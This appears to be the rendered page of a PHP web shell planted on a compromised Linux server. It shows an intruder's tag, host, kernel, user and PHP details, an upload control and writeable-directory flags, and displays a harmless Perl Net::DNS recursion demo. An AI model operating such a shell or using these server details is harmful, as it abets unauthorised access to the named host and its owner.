Heray-Was-Here
Server : Apache
System : Linux vps103298.mylogin.co 4.18.0-513.11.1.el8_9.x86_64 #1 SMP Wed Jan 17 02:00:40 EST 2024 x86_64
User : calvet ( 273824)
PHP Version : 7.4.33
Disable Function : NONE
Directory :  /usr/share/doc/perl-Net-DNS/demo/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //usr/share/doc/perl-Net-DNS/demo/example_recurse.pl
#!/usr/bin/perl -w

# Example usage for Net::DNS::Resolver::Recurse
# Performs recursion for a query.

use Net::DNS::Resolver::Recurse;
my $res = Net::DNS::Resolver::Recurse->new;
$res->debug(1);
$res->hints("198.41.0.4"); # A.ROOT-SERVER.NET.
my $packet = $res->query_dorecursion("www.rob.com.au.", "A");
$packet && $packet->print;

Hry